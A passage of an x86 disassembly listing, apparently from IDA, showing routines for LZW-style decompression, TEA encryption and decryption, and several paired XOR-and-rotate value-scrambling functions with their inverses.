cmp eax, dword_4F36C4
jb short loc_490865
mov byte_4F36C8, 1
loc_490865: ; CODE XREF: sub_4907D5+87j
mov byte_4F36E4, 0
mov byte_4F36D8, 80h
loc_490873: ; CODE XREF: sub_4907D5+50j
mov ecx, [ebp+var_4]
sar ecx, 1
mov [ebp+var_4], ecx
jmp loc_4907E9
; ---------------------------------------------------------------------------
loc_490880: ; CODE XREF: sub_4907D5+18j
xor edx, edx
mov dl, byte_4F36C8
mov eax, edx
neg eax
sbb eax, eax
inc eax
mov esp, ebp
pop ebp
retn
sub_4907D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490893 proc near ; CODE XREF: .text:00490546p
; .text:00490A07p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push 669B4h
call sub_4C85E1
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov dword_4F36E0, eax
push 88CFh
call sub_4C85E1
add esp, 4
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov dword_4F36C0, ecx
mov esp, ebp
pop ebp
retn
sub_490893 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4908CE proc near ; CODE XREF: .text:0049072Ep
; .text:00490BEAp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword_4F36E0
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_4C85D6
add esp, 4
mov edx, dword_4F36C0
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
push eax
call sub_4C85D6
add esp, 4
mov esp, ebp
pop ebp
retn
sub_4908CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490901 proc near ; CODE XREF: .text:0049054Bp
; .text:00490658p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_490917
; ---------------------------------------------------------------------------
loc_49090E: ; CODE XREF: sub_490901+32j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_490917: ; CODE XREF: sub_490901+Bj
cmp [ebp+var_4], 88CFh
jnb short loc_490935
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, dword_4F36E0
mov dword ptr [edx+ecx], 0FFFFFFFFh
jmp short loc_49090E
; ---------------------------------------------------------------------------
loc_490935: ; CODE XREF: sub_490901+1Dj
mov dword_4F36BC, 103h
mov dword_4F36DC, 9
mov eax, 1
mov ecx, dword_4F36DC
shl eax, cl
sub eax, 1
mov dword_4F36CC, eax
mov esp, ebp
pop ebp
retn
sub_490901 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490962 proc near ; CODE XREF: .text:004905C6p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
shl eax, 7
xor eax, [ebp+arg_0]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_490987
mov ecx, 88CFh
sub ecx, [ebp+var_8]
mov [ebp+var_10], ecx
jmp short loc_49098E
; ---------------------------------------------------------------------------
loc_490987: ; CODE XREF: sub_490962+16j
mov [ebp+var_10], 1
loc_49098E: ; CODE XREF: sub_490962+23j
mov edx, [ebp+var_10]
mov [ebp+var_4], edx
loc_490994: ; CODE XREF: sub_490962:loc_4909FBj
mov eax, 1
test eax, eax
jz short loc_4909FD
mov ecx, [ebp+var_8]
imul ecx, 0Ch
mov edx, dword_4F36E0
add edx, ecx
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_4909BB
mov eax, [ebp+var_8]
jmp short loc_4909FD
; ---------------------------------------------------------------------------
loc_4909BB: ; CODE XREF: sub_490962+52j
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
cmp edx, [ebp+arg_0]
jnz short loc_4909D8
mov eax, [ebp+var_C]
xor ecx, ecx
mov cl, [eax+8]
cmp ecx, [ebp+arg_4]
jnz short loc_4909D8
mov eax, [ebp+var_8]
jmp short loc_4909FD
; ---------------------------------------------------------------------------
loc_4909D8: ; CODE XREF: sub_490962+62j
; sub_490962+6Fj
mov edx, [ebp+var_8]
cmp edx, [ebp+var_4]
jnb short loc_4909F2
mov eax, 88CFh
sub eax, [ebp+var_4]
mov ecx, [ebp+var_8]
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_4909FB
; ---------------------------------------------------------------------------
loc_4909F2: ; CODE XREF: sub_490962+7Cj
mov edx, [ebp+var_8]
sub edx, [ebp+var_4]
mov [ebp+var_8], edx
loc_4909FB: ; CODE XREF: sub_490962+8Ej
jmp short loc_490994
; ---------------------------------------------------------------------------
loc_4909FD: ; CODE XREF: sub_490962+39j
; sub_490962+57j ...
mov esp, ebp
pop ebp
retn
sub_490962 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 30h
call sub_490893
push 0
mov eax, [ebp+0Ch]
mov ecx, [eax]
push ecx
mov edx, [ebp+8]
push edx
call sub_490743
add esp, 0Ch
mov eax, [ebp+10h]
add eax, 1
push eax
call sub_4C85E1
add esp, 4
mov [ebp-28h], eax
mov ecx, [ebp-28h]
mov [ebp-10h], ecx
mov edx, [ebp+10h]
mov eax, [ebp-10h]
lea ecx, [eax+edx+1]
mov [ebp-4], ecx
mov edx, [ebp-10h]
mov [ebp-8], edx
mov byte ptr [ebp-0Ch], 0
loc_490A4F: ; CODE XREF: .text:loc_490BB2j
mov eax, [ebp-0Ch]
and eax, 0FFh
test eax, eax
jnz loc_490BB7
call sub_490901
mov ecx, dword_4F36DC
push ecx
call sub_490C14
add esp, 4
mov [ebp-14h], eax
cmp dword ptr [ebp-14h], 100h
jnz short loc_490A83
mov byte ptr [ebp-0Ch], 1
loc_490A83: ; CODE XREF: .text:00490A7Dj
mov edx, [ebp-14h]
mov [ebp-18h], edx
mov eax, [ebp-8]
mov cl, [ebp-18h]
mov [eax], cl
mov edx, [ebp-8]
add edx, 1
mov [ebp-8], edx
loc_490A9A: ; CODE XREF: .text:00490AF4j
; .text:00490BADj
mov eax, [ebp-0Ch]
and eax, 0FFh
test eax, eax
jnz loc_490BB2
mov ecx, dword_4F36DC
push ecx
call sub_490C14
add esp, 4
mov [ebp-24h], eax
cmp dword ptr [ebp-24h], 100h
jnz short loc_490ACE
mov byte ptr [ebp-0Ch], 1
jmp loc_490BB2
; ---------------------------------------------------------------------------
loc_490ACE: ; CODE XREF: .text:00490AC3j
cmp dword ptr [ebp-24h], 102h
jnz short loc_490ADC
jmp loc_490BB2
; ---------------------------------------------------------------------------
loc_490ADC: ; CODE XREF: .text:00490AD5j
cmp dword ptr [ebp-24h], 101h
jnz short loc_490AF6
mov edx, dword_4F36DC
add edx, 1
mov dword_4F36DC, edx
jmp short loc_490A9A
; ---------------------------------------------------------------------------
loc_490AF6: ; CODE XREF: .text:00490AE3j
mov eax, [ebp-24h]
cmp eax, dword_4F36BC
jb short loc_490B1F
mov ecx, dword_4F36C0
mov dl, [ebp-18h]
mov [ecx], dl
mov eax, [ebp-14h]
push eax
push 1
call sub_490CC6
add esp, 8
mov [ebp-20h], eax
jmp short loc_490B30
; ---------------------------------------------------------------------------
loc_490B1F: ; CODE XREF: .text:00490AFFj
mov ecx, [ebp-24h]
push ecx
push 0
call sub_490CC6
add esp, 8
mov [ebp-20h], eax
loc_490B30: ; CODE XREF: .text:00490B1Dj
mov edx, dword_4F36C0
add edx, [ebp-20h]
xor eax, eax
mov al, [edx-1]
mov [ebp-18h], eax
loc_490B41: ; CODE XREF: .text:00490B70j
cmp dword ptr [ebp-20h], 0
jz short loc_490B72
mov ecx, [ebp-8]
cmp ecx, [ebp-4]
jnb short loc_490B72
mov edx, [ebp-20h]
sub edx, 1
mov [ebp-20h], edx
mov eax, dword_4F36C0
add eax, [ebp-20h]
mov ecx, [ebp-8]
mov dl, [eax]
mov [ecx], dl
mov eax, [ebp-8]
add eax, 1
mov [ebp-8], eax
jmp short loc_490B41
; ---------------------------------------------------------------------------
loc_490B72: ; CODE XREF: .text:00490B45j
; .text:00490B4Dj
mov ecx, dword_4F36BC
imul ecx, 0Ch
mov edx, dword_4F36E0
add edx, ecx
mov [ebp-1Ch], edx
mov eax, [ebp-1Ch]
mov ecx, [ebp-14h]
mov [eax+4], ecx
mov edx, [ebp-1Ch]
mov al, [ebp-18h]
mov [edx+8], al
mov ecx, dword_4F36BC
add ecx, 1
mov dword_4F36BC, ecx
mov edx, [ebp-24h]
mov [ebp-14h], edx
jmp loc_490A9A
; ---------------------------------------------------------------------------
loc_490BB2: ; CODE XREF: .text:00490AA4j
; .text:00490AC9j ...
jmp loc_490A4F
; ---------------------------------------------------------------------------
loc_490BB7: ; CODE XREF: .text:00490A59j
mov eax, [ebp-8]
sub eax, [ebp-10h]
mov ecx, [ebp+0Ch]
mov [ecx], eax
mov edx, [ebp+0Ch]
mov eax, [edx]
push eax
mov ecx, [ebp-10h]
push ecx
mov edx, [ebp+8]
push edx
call _memcpy_1
add esp, 0Ch
mov eax, [ebp-10h]
mov [ebp-2Ch], eax
mov ecx, [ebp-2Ch]
push ecx
call sub_4C85D6
add esp, 4
call sub_4908CE
xor edx, edx
mov dl, byte_4F36C8
test edx, edx
jnz short loc_490C09
mov eax, [ebp-8]
cmp eax, [ebp-4]
jz short loc_490C09
mov byte ptr [ebp-2Dh], 1
jmp short loc_490C0D
; ---------------------------------------------------------------------------
loc_490C09: ; CODE XREF: .text:00490BF9j
; .text:00490C01j
mov byte ptr [ebp-2Dh], 0
loc_490C0D: ; CODE XREF: .text:00490C07j
mov al, [ebp-2Dh]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490C14 proc near ; CODE XREF: .text:00490A6Bp
; .text:00490AB1p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_490C27: ; CODE XREF: sub_490C14:loc_490CBAj
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
test ecx, ecx
jz loc_490CBF
mov eax, [ebp+var_8]
shl eax, 1
mov [ebp+var_8], eax
xor ecx, ecx
mov cl, byte_4F36E4
xor edx, edx
mov dl, byte_4F36D8
and ecx, edx
test ecx, ecx
jz short loc_490C61
mov eax, [ebp+var_8]
or al, 1
mov [ebp+var_8], eax
loc_490C61: ; CODE XREF: sub_490C14+43j
mov cl, byte_4F36D8
shr cl, 1
mov byte_4F36D8, cl
xor edx, edx
mov dl, byte_4F36D8
test edx, edx
jnz short loc_490CBA
mov eax, dword_4F36D0
cmp eax, dword_4F36C4
jb short loc_490C98
mov byte_4F36C8, 1
mov byte_4F36E4, 0
jmp short loc_490CB3
; ---------------------------------------------------------------------------
loc_490C98: ; CODE XREF: sub_490C14+72j
mov ecx, dword_4F36D0
mov dl, [ecx]
mov byte_4F36E4, dl
mov eax, dword_4F36D0
add eax, 1
mov dword_4F36D0, eax
loc_490CB3: ; CODE XREF: sub_490C14+82j
mov byte_4F36D8, 80h
loc_490CBA: ; CODE XREF: sub_490C14+65j
jmp loc_490C27
; ---------------------------------------------------------------------------
loc_490CBF: ; CODE XREF: sub_490C14+21j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_490C14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490CC6 proc near ; CODE XREF: .text:00490B12p
; .text:00490B25p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
loc_490CCA: ; CODE XREF: sub_490CC6+41j
cmp [ebp+arg_4], 0FFh
jbe short loc_490D09
mov eax, [ebp+arg_4]
imul eax, 0Ch
mov ecx, dword_4F36E0
add ecx, eax
mov [ebp+var_4], ecx
mov edx, dword_4F36C0
add edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov cl, [eax+8]
mov [edx], cl
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov [ebp+arg_4], ecx
jmp short loc_490CCA
; ---------------------------------------------------------------------------
loc_490D09: ; CODE XREF: sub_490CC6+Bj
mov edx, dword_4F36C0
add edx, [ebp+arg_0]
mov al, byte ptr [ebp+arg_4]
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_490CC6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490D30 proc near ; CODE XREF: sub_490F38+67p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
mov [ebp+var_20], 9E3779B9h
mov [ebp+var_18], 20h
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
mov [ebp+var_10], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_8]
and edx, 0FFFFFFF8h
mov [ebp+arg_8], edx
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
shr ecx, 2
mov edx, [ebp+var_4]
lea eax, [edx+ecx*4]
mov [ebp+var_1C], eax
cmp [ebp+arg_C], 0
jle loc_490E6A
loc_490D8F: ; CODE XREF: sub_490D30:loc_490E60j
mov ecx, [ebp+var_4]
cmp ecx, [ebp+var_1C]
jnb loc_490E65
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+var_28], eax
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
mov [ebp+var_2C], edx
mov [ebp+var_24], 0
mov [ebp+var_34], 20h
mov eax, [ebp+var_28]
mov [ebp+var_30], eax
mov ecx, [ebp+var_2C]
mov [ebp+var_38], ecx
loc_490DC6: ; CODE XREF: sub_490D30+FAj
mov edx, [ebp+var_34]
mov eax, [ebp+var_34]
sub eax, 1
mov [ebp+var_34], eax
test edx, edx
jbe short loc_490E2C
mov ecx, [ebp+var_24]
sub ecx, 61C88647h
mov [ebp+var_24], ecx
mov edx, [ebp+var_2C]
shl edx, 4
add edx, [ebp+var_8]
mov eax, [ebp+var_2C]
add eax, [ebp+var_24]
xor edx, eax
mov ecx, [ebp+var_2C]
shr ecx, 5
add ecx, [ebp+var_C]
xor edx, ecx
mov eax, [ebp+var_28]
add eax, edx
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
shl ecx, 4
add ecx, [ebp+var_10]
mov edx, [ebp+var_28]
add edx, [ebp+var_24]
xor ecx, edx
mov eax, [ebp+var_28]
shr eax, 5
add eax, [ebp+var_14]
xor ecx, eax
mov edx, [ebp+var_2C]
add edx, ecx
mov [ebp+var_2C], edx
jmp short loc_490DC6
; ---------------------------------------------------------------------------
loc_490E2C: ; CODE XREF: sub_490D30+A4j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_2C]
mov [eax], ecx
mov edx, [ebp+var_4]
add edx, 4
mov [ebp+var_4], edx
cmp [ebp+arg_C], 1
jle short loc_490E60
mov eax, [ebp+var_30]
mov [ebp+var_C], eax
mov ecx, [ebp+var_38]
mov [ebp+var_14], ecx
loc_490E60: ; CODE XREF: sub_490D30+122j
jmp loc_490D8F
; ---------------------------------------------------------------------------
loc_490E65: ; CODE XREF: sub_490D30+65j
jmp loc_490F34
; ---------------------------------------------------------------------------
loc_490E6A: ; CODE XREF: sub_490D30+59j
; sub_490D30:loc_490F2Fj
mov edx, [ebp+var_4]
cmp edx, [ebp+var_1C]
jnb loc_490F34
mov eax, [ebp+var_4]
mov ecx, [eax]
mov [ebp+var_40], ecx
mov edx, [ebp+var_4]
mov eax, [edx+4]
mov [ebp+var_44], eax
mov [ebp+var_3C], 0C6EF3720h
mov [ebp+var_48], 20h
loc_490E95: ; CODE XREF: sub_490D30+1C9j
mov ecx, [ebp+var_48]
mov edx, [ebp+var_48]
sub edx, 1
mov [ebp+var_48], edx
test ecx, ecx
jbe short loc_490EFB
mov eax, [ebp+var_40]
shl eax, 4
add eax, [ebp+var_10]
mov ecx, [ebp+var_40]
add ecx, [ebp+var_3C]
xor eax, ecx
mov edx, [ebp+var_40]
shr edx, 5
add edx, [ebp+var_14]
xor eax, edx
mov ecx, [ebp+var_44]
sub ecx, eax
mov [ebp+var_44], ecx
mov edx, [ebp+var_44]
shl edx, 4
add edx, [ebp+var_8]
mov eax, [ebp+var_44]
add eax, [ebp+var_3C]
xor edx, eax
mov ecx, [ebp+var_44]
shr ecx, 5
add ecx, [ebp+var_C]
xor edx, ecx
mov eax, [ebp+var_40]
sub eax, edx
mov [ebp+var_40], eax
mov ecx, [ebp+var_3C]
add ecx, 61C88647h
mov [ebp+var_3C], ecx
jmp short loc_490E95
; ---------------------------------------------------------------------------
loc_490EFB: ; CODE XREF: sub_490D30+173j
mov edx, [ebp+var_4]
mov eax, [ebp+var_40]
mov [edx], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_44]
mov [edx], eax
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
cmp [ebp+arg_C], 0
jge short loc_490F2F
mov edx, [ebp+var_40]
mov [ebp+var_C], edx
mov eax, [ebp+var_44]
mov [ebp+var_14], eax
loc_490F2F: ; CODE XREF: sub_490D30+1F1j
jmp loc_490E6A
; ---------------------------------------------------------------------------
loc_490F34: ; CODE XREF: sub_490D30:loc_490E65j
; sub_490D30+140j
mov esp, ebp
pop ebp
retn
sub_490D30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490F38 proc near ; CODE XREF: sub_4B4BB9+A7p
; sub_4B4BB9+125p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
shr ecx, 8
mov edx, [ebp+var_4]
shl edx, 18h
or ecx, edx
mov [ebp+var_8], ecx
mov eax, [ebp+var_8]
shr eax, 8
mov ecx, [ebp+var_8]
shl ecx, 18h
or eax, ecx
mov [ebp+var_C], eax
mov edx, [ebp+var_C]
shr edx, 8
mov eax, [ebp+var_C]
shl eax, 18h
or edx, eax
mov [ebp+var_10], edx
mov ecx, [ebp+var_4]
mov [ebp+var_20], ecx
mov edx, [ebp+var_8]
mov [ebp+var_1C], edx
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov ecx, [ebp+var_10]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
lea edx, [ebp+var_20]
push edx
call sub_490D30
add esp, 10h
mov esp, ebp
pop ebp
retn
sub_490F38 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490FB0 proc near ; CODE XREF: .text:004B7E7Dp
; .text:004BB269p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
xor edx, 0FFFFFFFFh
push edx
call sub_4C149A
add esp, 0Ch
xor eax, 0FFFFFFFFh
pop ebp
retn
sub_490FB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_490FD0 proc near ; CODE XREF: sub_497D6E+94p
; sub_49B14F+99p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 6D6ACFDEh
mov [ebp+arg_0], eax
push 11h
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 6
push 13h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Eh
push 6
mov eax, [ebp+arg_0]
push eax
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 3859EF64h
mov [ebp+arg_0], edx
push 0
push 0Fh
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0DD46CC9Eh
mov [ebp+arg_0], ecx
push 19h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 5542E47Ah
mov [ebp+arg_0], eax
push 11h
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 8
push 5
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 8
push 12h
push 0Dh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 15h
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 0D7EF2C37h
mov [ebp+arg_0], edx
push 0Dh
push 12h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 1
push 17h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Eh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 420D6417h
mov [ebp+arg_0], ecx
push 11h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_490FD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_491135 proc near ; CODE XREF: sub_497D6E+Dp
; sub_49B14F+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFEFh
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 420D6417h
mov [ebp+arg_0], ecx
push 0FFFFFFF2h
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 1
push 17h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 12h
push 4
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Dh
push 12h
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 0D7EF2C37h
mov [ebp+arg_0], eax
push 15h
push 8
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 0FFFFFFF8h
push 12h
push 0Dh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 8
push 5
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 11h
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 5542E47Ah
mov [ebp+arg_0], edx
push 0FFFFFFE7h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0DD46CC9Eh
mov [ebp+arg_0], ecx
push 0
push 0Fh
mov edx, [ebp+arg_0]
push edx
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 3859EF64h
mov [ebp+arg_0], eax
push 0FFFFFFEAh
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Eh
push 6
mov edx, [ebp+arg_0]
push edx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
push 6
push 13h
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 11h
push 7
mov ecx, [ebp+arg_0]
push ecx
call sub_494E72
add esp, 0Ch
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 6D6ACFDEh
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_491135 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49129A proc near ; CODE XREF: sub_4A101A+BDp
; sub_4A2806+96p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 220E31E7h
mov [ebp+arg_0], eax
push 2
push 8
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 7
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0Ch
push 4
push 0Fh
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0B278157Ch
mov [ebp+arg_0], ecx
push 0Ch
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
xor eax, 2DAEB5E3h
mov [ebp+arg_0], eax
push 19h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 6
push 17h
push 8
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov eax, [ebp+arg_0]
pop ebp
retn
sub_49129A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_491336 proc near ; CODE XREF: sub_4A101A+Dp
; sub_4A2806+Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFAh
push 17h
push 8
mov eax, [ebp+arg_0]
push eax
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFE7h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 2DAEB5E3h
mov [ebp+arg_0], edx
push 0FFFFFFF4h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor ecx, 0B278157Ch
mov [ebp+arg_0], ecx
push 0FFFFFFF4h
push 4
push 0Fh
mov edx, [ebp+arg_0]
push edx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 0FFFFFFF9h
mov eax, [ebp+arg_0]
push eax
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 0FFFFFFFEh
push 8
push 16h
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
mov edx, [ebp+arg_0]
xor edx, 220E31E7h
mov [ebp+arg_0], edx
mov eax, [ebp+arg_0]
pop ebp
retn
sub_491336 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4913D4 proc near ; CODE XREF: sub_495329+B9p
; sub_497F97+B8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor eax, 0EACE3133h
mov [ebp+arg_0], eax
push 2
push 17h
push 3
mov ecx, [ebp+arg_0]
push ecx
call sub_494DFB
add esp, 10h
mov [ebp+arg_0], eax
push 1Ah
mov edx, [ebp+arg_0]
push edx
call sub_494DD0
add esp, 8
mov [ebp+arg_0], eax
push 7
push 6
mov eax, [ebp+arg_0]
push eax
call sub_494ED4
add esp, 0Ch
mov [ebp+arg_0], eax
push 0Dh
push 1
